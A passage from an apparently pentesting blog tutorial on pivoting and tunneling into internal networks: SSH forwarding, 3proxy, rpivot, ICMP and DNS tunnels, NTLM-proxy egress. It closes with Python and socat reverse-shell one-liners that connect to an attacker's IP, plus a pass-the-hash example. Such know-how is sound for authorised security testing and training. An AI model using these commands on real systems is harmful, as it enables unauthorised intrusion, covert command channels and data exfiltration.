          &lt;li&gt;&lt;a href=&quot;#openvpn-over-http-proxy&quot; id=&quot;markdown-toc-openvpn-over-http-proxy&quot;&gt;OpenVpn over HTTP proxy&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#making-use-of-socks-with-proxychains&quot; id=&quot;markdown-toc-making-use-of-socks-with-proxychains&quot;&gt;Making use of SOCKS with proxychains&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dns-with-proxychains&quot; id=&quot;markdown-toc-dns-with-proxychains&quot;&gt;DNS with proxychains&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#beutifying-your-web-shell&quot; id=&quot;markdown-toc-beutifying-your-web-shell&quot;&gt;Beutifying your web shell&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#python-pty-shell&quot; id=&quot;markdown-toc-python-pty-shell&quot;&gt;Python PTY shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#socat&quot; id=&quot;markdown-toc-socat&quot;&gt;Socat&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#bind-shell&quot; id=&quot;markdown-toc-bind-shell&quot;&gt;Bind shell&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#reverse-shell&quot; id=&quot;markdown-toc-reverse-shell&quot;&gt;Reverse shell&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#terminal-size&quot; id=&quot;markdown-toc-terminal-size&quot;&gt;Terminal size&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#tsh&quot; id=&quot;markdown-toc-tsh&quot;&gt;Tsh&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;target-with-public-ip&quot;&gt;Target with public IP&lt;/h2&gt;

&lt;p&gt;A prevalent scenario. Let’s say you find an RCE bug in a web-app accessible from the internet. You upload a shell and want to develop your attack into the internal network. Note that in this specific scenario you should able to bind ports on the compromised host and those ports should be accessible from the external network.&lt;/p&gt;

&lt;h3 id=&quot;ssh-port-forwarding&quot;&gt;SSH port forwarding&lt;/h3&gt;

&lt;p&gt;Managed to find credentials to the SSH-service running on the host? Great! Connect to the host as follows:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ssh username@host -D 1080&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will spawn a socks server on the attacker’s side (ssh-client side).  Welcome to the intranet ;)  It is also possible to forward one specific port to a specific host. Let’s say you need to access an SMB share in the internal network on host 192.168.1.1.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ssh username@host -L 445:192.168.1.1:445&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This way a port 445 will be opened on the attacker’s side. Note, that to bind privileged ports (such as 445) you will need root privileges on your machine.&lt;/p&gt;

&lt;h4 id=&quot;vpn-over-ssh&quot;&gt;VPN over SSH&lt;/h4&gt;

&lt;p&gt;Since openssh release 4.3 it is possible to tunnel layer 3 network traffic via an established ssh channel. This has an advantage over a typical tcp tunnel because you are in control of ip traffic. So, for example, you are able to perform SYN-scan with nmap and use your tools directly without resorting to &lt;code class=&quot;highlighter-rouge&quot;&gt;proxychains&lt;/code&gt; or other proxifying tools. It’s done via the creation of &lt;strong&gt;tun&lt;/strong&gt; devices on client and server side and transferring the data between them over ssh connection. This is quite simple, but you need root on both machines since the creation of tun devices is a privileged operation. These lines should be present in your &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/ssh/sshd_config&lt;/code&gt; file (server-side):&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-linux-config&quot;&gt;PermitRootLogin yes
PermitTunnel yes
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The following command on the client will create a pair of tun devices on client and server:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ssh username@server -w any:any&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The flag &lt;code class=&quot;highlighter-rouge&quot;&gt;-w&lt;/code&gt; accepts the number of tun device on each side separated with a colon. It can be set explicitly - &lt;code class=&quot;highlighter-rouge&quot;&gt;-w 0:0&lt;/code&gt; or you can use &lt;code class=&quot;highlighter-rouge&quot;&gt;-w any:any&lt;/code&gt; syntax to take the next available tun device.&lt;/p&gt;

&lt;p&gt;The tunnel between the tun devices is enabled but the interfaces are yet to be configured. Example of configuring client-side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Server-side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Enable ip forwarding and NAT on the server:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you can make the peer host &lt;code class=&quot;highlighter-rouge&quot;&gt;1.1.1.1&lt;/code&gt; your default gateway or route a specific host/network through it:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;route add -net 10.0.0.0/16 gw 1.1.1.1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In this example the server’s external network interface is &lt;code class=&quot;highlighter-rouge&quot;&gt;eth0&lt;/code&gt; and the newly created tun devices on both sides are &lt;code class=&quot;highlighter-rouge&quot;&gt;tun0&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;3proxy&quot;&gt;3proxy&lt;/h3&gt;

&lt;p&gt;Get it here - &lt;a href=&quot;https://github.com/z3APA3A/3proxy/releases&quot;&gt;https://github.com/z3APA3A/3proxy/releases&lt;/a&gt;. This tools works for multiple platforms. There are pre-built binaries for Windows. As for Linux, you will need to build it yourself which is not a rocket science, just &lt;code class=&quot;highlighter-rouge&quot;&gt;./configure &amp;amp;&amp;amp; make&lt;/code&gt; :) This tool is a swiss army knife in the proxy world so it has a ton of functionality. I usually use it either as a socks proxy or as a port forwarder.&lt;/p&gt;

&lt;p&gt;This tool gets all of its options from config file. To run it:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;3proxy.exe config_file&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;or if you are on a Linux system:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;./3proxy config_file&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To run 3proxy as a socks5 proxy at port 1080 put the following line in the config:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;socks -p1080&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now it’s possible to tunnel most of your pentesting tools through this proxy to develop the attack in the internal network. This is just a basic setup which is not very secure. You can play with options to place authentication and/or ip-based access control rules. Go check the full manual here - &lt;a href=&quot;https://3proxy.ru/howtoe.asp&quot;&gt;https://3proxy.ru/howtoe.asp&lt;/a&gt;.
To tunnel a specific port use the following syntax:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;tcppm &amp;lt;localport&amp;gt; &amp;lt;targethost&amp;gt; &amp;lt;targetport&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;nat-scenario&quot;&gt;NAT scenario&lt;/h2&gt;

&lt;p&gt;This is by far the most common situation I encounter during engagements. The traffic to the target is being forwared on per-port basis. This means that all ports bound other than those being in the port forwarding rules won’t be accessible from outside. One possible solution is to initiate a reverse connection. The tools described below will help you with that.&lt;/p&gt;

&lt;h3 id=&quot;ssh-reverse-port-forwarding-w-3proxy&quot;&gt;SSH reverse port forwarding /w 3proxy&lt;/h3&gt;

&lt;p&gt;This pivoting setup looks something like this:&lt;/p&gt;

&lt;p&gt;Run 3proxy service with the following config on the target server:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;socks -p31337&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Create a separate user on the receiving side (attacker’s machine).&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;adduser sshproxy&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This user has to be low-privileged and shouldn’t have shell privileges. After all, you don’t want to get reverse pentested, do ya? :) Edit /etc/passwd and switch shell to /bin/false. It should look like:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
...
sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now connect to your server with the newly created user with &lt;code class=&quot;highlighter-rouge&quot;&gt;-R&lt;/code&gt; flag. Linux system:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ssh sshproxy@your_server -R 31337:127.0.0.1:31337&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For windows you will need to upload &lt;a href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html&quot;&gt;plink.exe&lt;/a&gt; first. This is a console version of putty. To run it:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;-R&lt;/code&gt; flag allows you to bind port on the server side. All connections to this port will be relayed to a specified port on the client. This way we can run 3proxy socks service on the client side (compromised machine) and access this port on the attacker’s host via ssh &lt;code class=&quot;highlighter-rouge&quot;&gt;-R&lt;/code&gt; flag.&lt;/p&gt;

&lt;h3 id=&quot;rpivot&quot;&gt;Rpivot&lt;/h3&gt;

&lt;p&gt;This is my favorite method of traversing NAT connections. &lt;a href=&quot;https://github.com/artkond/rpivot&quot;&gt;Rpivot&lt;/a&gt; is a reverse socks proxy tool that allows you to tunnel traffic via socks proxy. It connects back to your machine and binds a socks proxy on it. It works just like &lt;code class=&quot;highlighter-rouge&quot;&gt;ssh -D&lt;/code&gt; but in opposite direction. Server side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Client side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;python client.py --server-ip &amp;lt;ip&amp;gt; --server-port 9999&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;As a result, a socks4 proxy service will be bound server side on port 1080.&lt;/p&gt;

&lt;h2 id=&quot;exfiltrating-from-the-internal-network&quot;&gt;Exfiltrating from the internal network&lt;/h2&gt;

&lt;p&gt;Here’s a different case. Let’s say your social engineering gig ended up placing you in the internal network. You have limited connectivity and ability to execute command on the compromised machine.  Of course, if the internet is directly routed and not firewalled you can resort to any technique described above. But if you’re not so lucky there’re still ways to pivot your way out.&lt;/p&gt;

&lt;h3 id=&quot;icmp-tunneling&quot;&gt;ICMP tunneling&lt;/h3&gt;

&lt;p&gt;If icmp traffic is allowed to external networks then most likely you can establish an icmp tunnel. The downside is that you will need root/administrator privileges on the target system becase of the necesity to use raw sockets. Check this tool out - &lt;a href=&quot;http://code.gerade.org/hans/&quot;&gt;http://code.gerade.org/hans/&lt;/a&gt;. Personally I’ve never tried running it on Windows. It works like a charm on Linux tho. Server side command (attacker’s machine):&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;./hans -v -f -s 1.1.1.1 -p P@ssw0rd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;-v&lt;/code&gt; flag is for verbosity, the &lt;code class=&quot;highlighter-rouge&quot;&gt;-f&lt;/code&gt; flag is to run in foreground and the &lt;code class=&quot;highlighter-rouge&quot;&gt;-s&lt;/code&gt; flag’s value is the server’s ip on the newly created tun interface.&lt;/p&gt;

&lt;p&gt;Client side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;./hans -f -c &amp;lt;server_ip&amp;gt; -p P@ssw0rd -v&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After successful connection the client should be directly visible at 1.1.1.100:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ping 1.1.1.100
PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.
64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you can use this machine as gate into the internal network. Use this machine a default gateway or connect to a management interface (ssh/tsh/web shell).&lt;/p&gt;

&lt;h3 id=&quot;dns-tunneling&quot;&gt;DNS tunneling&lt;/h3&gt;

&lt;p&gt;If any WAN traffic is blocked but external host names are resolved then there’s a possibility of tunneling traffic via DNS queries. You need a domain registered for this technique to work. &lt;a href=&quot;http://dev.kryo.se/iodine/wiki/HowtoSetup&quot;&gt;This manual&lt;/a&gt; might help you with setting up your name server.&lt;/p&gt;

&lt;h4 id=&quot;iodine&quot;&gt;Iodine&lt;/h4&gt;

&lt;p&gt;If so happens that you got root access on the server you can try &lt;a href=&quot;http://code.kryo.se/iodine/&quot;&gt;iodine&lt;/a&gt;. It works almost like hans icmp tunneling tool - it creates a pair of tun adapters and tunnels data between them as DNS queries. Server side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Client side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;iodine -f -P P@ssw0rd tunneldomain.com -r&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Successful connection will yield direct client visibility at address 1.1.1.2. Note, that this tunneling technique is quite slow. Your best bet is to use a compressed ssh connection over the resulting connection:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ssh &amp;lt;user&amp;gt;@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;dnscat2&quot;&gt;Dnscat2&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/iagox86/dnscat2&quot;&gt;Dnscat2&lt;/a&gt; establishes C&amp;amp;C channel over recursive DNS queries. This tool doesn’t require root/administrator access (works both on windows and linux). It also supports port forwarding. Server side:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ruby ./dnscat2.rb tunneldomain.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Client side:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;./dnscat2 tunneldomain.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After you receive a connection of server side, you can view the active sessions with &lt;code class=&quot;highlighter-rouge&quot;&gt;windows&lt;/code&gt; command:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dnscat2&amp;gt; windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  1 :: command session (debian)
  2 :: sh (debian) [*]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To initiate port forwarding select a command session with &lt;code class=&quot;highlighter-rouge&quot;&gt;session -i &amp;lt;num&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dnscat2&amp;gt; session -i 1
New window created: 1
New window created: 1
history_size (session) =&amp;gt; 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (debian) 1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Use &lt;code class=&quot;highlighter-rouge&quot;&gt;listen [lhost:]lport rhost:rport&lt;/code&gt; command to forward a port:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;command session (debian) 1&amp;gt; listen 127.0.0.1:8080 10.0.0.20:80&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will bind port 8080 on the attacker’s machine and forward all connections to 10.0.0.20:80.&lt;/p&gt;

&lt;h3 id=&quot;corporate-http-proxy-as-a-way-out&quot;&gt;Corporate HTTP proxy as a way out&lt;/h3&gt;

&lt;p&gt;HTTP proxies organization place for their employees to access external web-application present a good exfiltration opportunity given  you got the right credentials ;)&lt;/p&gt;

&lt;h4 id=&quot;rpivot-1&quot;&gt;Rpivot&lt;/h4&gt;

&lt;p&gt;I already mentioned this tool in the NAT traversal section. It also supports connecting to the outside world via NTLM HTTP proxies. Server side command remains intact, use client-side command as follows:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python client.py --server-ip &amp;lt;rpivot_server_ip&amp;gt; --server-port 9999\
--ntlm-proxy-ip &amp;lt;proxy_ip&amp;gt; --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --password P@ssw0rd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or if you have LM:NT hashes instead of password:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python client.py --server-ip &amp;lt;rpivot_server_ip&amp;gt;\
--server-port 9999 --ntlm-proxy-ip &amp;lt;proxy_ip&amp;gt; --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;cntlm&quot;&gt;Cntlm&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;http://cntlm.sourceforge.net/&quot;&gt;Cntlm&lt;/a&gt; is the tool of choice for running any non-proxy aware programs over NTLM-proxy. Basically this tool authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. This port bound does not require any authentication so you can use your tools directly (putty/ssh for example). It uses a config file for its operation. Here’s a barebones config example to forward port 443 (this port is most likely to be allowed through the proxy):&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:&amp;lt;attackers_machine&amp;gt;:443
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Run it:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;cntlm.exe -c config.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Or if you’re on Linux:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;./cntlm -c config.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, given you have ssh running on the remote host on port 443, you can launch ssh client (openssh/putty) and connect to local port 2222 to get access to the external machine.&lt;/p&gt;

&lt;h4 id=&quot;openvpn-over-http-proxy&quot;&gt;OpenVpn over HTTP proxy&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://openvpn.net/index.php/open-source/documentation/howto.html&quot;&gt;OpenVpn&lt;/a&gt; is huge so its configuration from the ground up is out of scope of this post. Just a quick mention - it also supports tunneling tcp connections over NTLM proxies. Add this line to your config file:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;http-proxy &amp;lt;proxy_ip&amp;gt; 8080 &amp;lt;file_with_creds&amp;gt; ntlm&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Credential file should contain username and password on separate lines. And, yes, you’ll need root.&lt;/p&gt;

&lt;h2 id=&quot;making-use-of-socks-with-proxychains&quot;&gt;Making use of SOCKS with proxychains&lt;/h2&gt;

&lt;p&gt;If your program doesn’t use raw sockets (nmap syn-scan, for example) then most probably you can use &lt;code class=&quot;highlighter-rouge&quot;&gt;proxychains&lt;/code&gt; to force your program though the socks proxy. Edit proxy server in /etc/proxychains.conf:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ProxyList]
# add proxy here ...
# meanwile
# defaults set to &quot;tor&quot;
socks4  127.0.0.1 3128
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All ready. Just prepend &lt;code class=&quot;highlighter-rouge&quot;&gt;proxychains&lt;/code&gt; to you favorite pwn tool:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;proxychains program_name&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Using impacket’s psexec.py with proxychains:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/pivoting1.png&quot; alt=&quot;psexec&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;dns-with-proxychains&quot;&gt;DNS with proxychains&lt;/h2&gt;

&lt;p&gt;Proxychains doesn’t follow socks RFC when it comes to resolving hostnames. It intercepts &lt;code class=&quot;highlighter-rouge&quot;&gt;gethostbyname&lt;/code&gt; libc call and tunnels tcp DNS request through the socks proxy. The things is, the DNS server is hardcoded to &lt;code class=&quot;highlighter-rouge&quot;&gt;4.2.2.2&lt;/code&gt;. You might want to change the nameserver in order to resolve names on the internal network. A typical scenario is to change the nameserver to domain controller if you are pentesting windows environment. The setup is located at &lt;code class=&quot;highlighter-rouge&quot;&gt;/usr/lib/proxychains3/proxyresolv&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# This script is called by proxychains to resolve DNS names&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# DNS server used to resolve names&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;DNS_SERVER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PROXYRESOLV_DNS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;:-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.2.2.2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;    &lt;span class=&quot;c&quot;&gt;#change nameserver here&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$# &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;  usage:&quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;      proxyresolv &amp;lt;hostname&amp;gt; &quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;beutifying-your-web-shell&quot;&gt;Beutifying your web shell&lt;/h2&gt;

&lt;p&gt;This section is not directly related to either pivoting or tunneling but instead describes a way of simplifying your work when developing attack into the internal network. Often, using a web-shell is rather tedious, especially when using programs that expect an interactive command interface. Most likely you will use some workarounds to performs simple tasks, such as passing password to sudo/su or just editing a file. I’m not a big fan of torturing myself, so when there’s an oportunity to escalate the web-shell to an interactive shell, I do so :) I won’t cover stuff like launching semi-interactive shell using bash/perl/python etc. There’s a ton of info on doing so. Check out this reverse shell cheat sheet - &lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;python-pty-shell&quot;&gt;Python PTY shell&lt;/h3&gt;

&lt;p&gt;An upgrade from a regular semi-interactive shell. You can execute the following command in your existing shell:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'import pty; pty.spawn(&quot;/bin/bash&quot;)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or initiate reverse connection:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'import socket,subprocess,os;\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect((&quot;&amp;lt;attackers_ip&amp;gt;&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\
os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;/bin/bash&quot;)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;socat&quot;&gt;Socat&lt;/h3&gt;

&lt;p&gt;Netcat on steroids! Seriously tho, go check this &lt;a href=&quot;http://www.dest-unreach.org/socat/&quot;&gt;tool’s&lt;/a&gt; manual &lt;code class=&quot;highlighter-rouge&quot;&gt;man socat&lt;/code&gt; and you’d be amazed what you can do with this tool regarding tunneling. Among other things it can spawn a fully interactive shell, even better than the aforementioned python-pty. The downside is that you most probably will have to build/install this tool on the target server as it is not a default utility in most unix-like distributions.&lt;/p&gt;

&lt;h4 id=&quot;bind-shell&quot;&gt;Bind shell&lt;/h4&gt;

&lt;p&gt;Set listener:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Connect to the listener:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;socat FILE:`tty`,raw,echo=0 TCP:&amp;lt;victim_ip&amp;gt;:1337&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;reverse-shell&quot;&gt;Reverse shell&lt;/h4&gt;

&lt;p&gt;Set listener:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Connect to attacker’s machine:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;socat TCP4:&amp;lt;attackers_ip&amp;gt;:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;terminal-size&quot;&gt;Terminal size&lt;/h4&gt;

